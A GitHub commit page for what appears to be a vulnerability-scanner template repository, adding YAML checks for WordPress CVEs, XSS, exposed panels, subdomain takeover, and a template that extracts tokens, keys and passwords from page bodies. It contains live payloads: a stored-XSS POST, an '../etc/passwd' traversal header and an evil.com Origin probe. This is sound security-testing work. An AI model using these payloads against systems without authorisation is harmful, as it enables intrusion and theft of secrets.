Merge pull request #86 from Nadino92/master

improvements across multiple templates and new additions
patch-1
bauthard 2020-05-24 09:16:54 +05:30 committed by GitHub
commit 0a564274ac
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
14 changed files with 145 additions and 39 deletions

17
cves/CVE-2018-18069.yaml Normal file
View File

@ -0,0 +1,17 @@
id: CVE-2018-18069
info:
name: Wordpress unauthenticated stored xss
author: nadino
severity: medium
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin.php"
body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN\"><html xmlns=\"hacked'
matchers:
- type: dsl
dsl:
- 'status_code==302 && contains(set_cookie, "_icl_current_admin_language")'

16
cves/CVE-2018-6389.yaml Normal file
View File

@ -0,0 +1,16 @@
id: CVE-2018-6389
info:
name: Wordpress Load Script
author: nadino
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/load-scripts.php?load="
matchers:
- type: dsl
dsl:
- 'contains(x_powered_by,"Engine")'
- 'contains(content_type,"javascript")'

View File

@ -11,7 +11,7 @@ requests:
path:
- "{{BaseURL}}"
headers:
Accept: ../../../../../../../../etc/passwd{{
Accept: ../../../../../../../../etc/passwd
matchers:
- type: status
status:

1
hosts.txt Normal file
View File

@ -0,0 +1 @@
http://192.168.1.16

32
noisy/general-tokens.yaml Normal file
View File

@ -0,0 +1,32 @@
id: general-tokens
#this will create a huge load of false positive
info:
name: General Tokens
author: nadino
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'regex("TOKEN[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any TOKEN word
- 'regex("API[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any API word
- 'regex("KEY[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any KEY word
- 'regex("SECRET[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any SECRET word
- 'regex("AUTHORIZATION[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any AUTHORIZATION word
- 'regex("PASSWORD[\\-|_|A-Z0-9]*(\''|\")?(:|=)(\''|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body)," ",""))' #any PASSWORD word
extractors:
- type: regex
part: body
regex:
- "(T|t)(O|o)(K|k)(E|e)(N|n)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)+( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
- "(A|a)(P|p)(Ii)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
- "(K|k)(E|e)(Y|y)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
- "(S|s)(E|e)(C|c)(R|r)(E|e)(T|t)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
- "(A|a)(U|u)(T|t)(H|h)(O|o)(R|r)(I|i)(Z|z)(A|a)(T|t)(I|i)(O|o)(N|n)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"
- "(P|p)(A|a)(S|s)(S|s)(W|w)(O|o)(R|r)(D|d)[\\-|_|A-Za-z0-9]*(\''|\")?( )*(:|=)( )*(\''|\")?[ 0-9A-Za-z\\-_]+(\''|\")?"

19
noisy/general-xss.yaml Normal file
View File

@ -0,0 +1,19 @@
id: General XSS
info:
name: General XSS
author: nadino
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- 'a''"><injectable>'
part: body
- type: dsl
dsl:
- 'contains(content_type,"html")'

15
panels/crxde.yaml Normal file
View File

@ -0,0 +1,15 @@
id: crxde
info:
name: CRXDE Lite
author: nadino
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/crx/de/index.jsp"
matchers:
- type: word
words:
- "<title>CRXDE Lite</title>"

View File

@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
headers:
Origin: https://evil.com
matchers:

View File

@ -68,6 +68,12 @@ requests:
- ngrok.io not found
- Tunnel *.ngrok.io not found
- type: word
name: tumblr
words:
- Whatever you were looking for doesn't currently exist at this address.
- There's nothing here.
- type: word
name: github
words:

View File

@ -19,4 +19,4 @@ requests:
type: regex
method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"

View File

@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
matchers:
- type: regex
part: body

View File

@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
matchers:
- type: regex
part: body

View File

@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
matchers:
- type: regex
part: body

View File

@ -11,7 +11,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
matchers:
- type: regex
part: body